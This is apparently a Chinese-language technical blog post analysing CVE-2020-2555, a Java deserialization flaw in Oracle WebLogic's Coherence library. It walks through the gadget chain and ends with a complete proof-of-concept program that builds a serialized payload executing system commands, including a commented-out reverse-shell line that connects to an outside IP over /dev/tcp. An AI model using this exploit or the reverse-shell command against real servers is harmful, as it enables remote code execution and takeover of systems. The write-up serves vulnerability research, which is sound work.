CVE-2020-2555 简单分析

CVE-2020-2555 简单分析,Sariel.D 的技术研究与实践笔记。

本页目录
  1. 搭建
  2. POP Chain
  3. 分析
  4. POC

CVE-2020-2555 简单分析 · 图示

搭建

第一次调 weblogic,饶了一大圈 Orz

推荐:https://github.com/QAX-A-Team/WeblogicEnvironment

  1. 通过上面的项目直接生成 docker 并启动
  2. 从 docker 中拷贝/u01/app/oracle/middleware/wlserver/&/u01/app/oracle/middleware/coherence/出来
  3. 从 idea 打开 wlserver,将其下moudules&server/lib加入 Libraries 中
  4. 将 coherence 目录下 lib 同样加入 Libraries
  5. 添加 remote,启动 debug

-w254

POP Chain

-w676

分析

关键利用点com.tangosol.util.filter.LimitFilter#toString(如果分析过 commons-collections,可能对这里可以很熟悉),这里 m_comparator、m_oAnchorTop均可控,下一步就是看能否有可利用的 extract 函数来进一步发挥

-w1108

在com.tangosol.util.extractor.ReflectionExtractor#extract中,可以看到调用了 invoke(这熟悉的味道,难道没有想到 commons-collections 中的 tranform 么)

即我们可以通过反射执行命令,但需要一条反射链才能从头到尾执行恶意命令(再次回想ChainedTransformer)

-w1184

这时关注到com.tangosol.util.extractor.ChainedExtractor#extract,主要在第一步调用时需要传入Runtime.class就可以组成一条完整的调用链,而从LimitFilter传过来m_oAnchorTop的又是可控的

-w575

现在命令执行部分已经构造完成,我们需要的是反序列化入口到达LimitFilter#toString

这里又用到了javax.management.BadAttributeValueExpException#BadAttributeValueExpException(又是熟悉的味道,细看commons-collections 5),注意到初始化时需要赋值为 null,再通过反射设置,否则会直接触发toString方法

-w760

POC

import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
public class cve_2020_2555 {
public static void main(String[] args) throws Exception {
// ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec(new String[]{""});
ReflectionExtractor[] reflectionExtractors = {
new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor(
"invoke",
new Object[]{null, new Object[0]}
),
new ReflectionExtractor(
"exec",
new Object[]{new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}}
// new Object[]{new String[]{"/bin/sh", "-c", "/bin/sh -i &> /dev/tcp/192.168.31.96/12345 0<&1"}}
)
};
ChainedExtractor chainedExtractor = new ChainedExtractor(reflectionExtractors);
// chainedExtractor.extract(Runtime.class);
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(chainedExtractor);
limitFilter.setTopAnchor(Runtime.class);
// limitFilter.toString();
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
Serializer.serialize(badAttributeValueExpException);
// Serializer.deserialize();
}
}
class Serializer {
public static void serialize(Object obj) throws IOException {
FileOutputStream fos = new FileOutputStream("payload.bin");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
}
public static void deserialize() throws IOException, ClassNotFoundException {
FileInputStream ios = new FileInputStream("java.bin");
ObjectInputStream ois = new ObjectInputStream(ios);
ois.readObject();
}
}

cve-2020-2555-1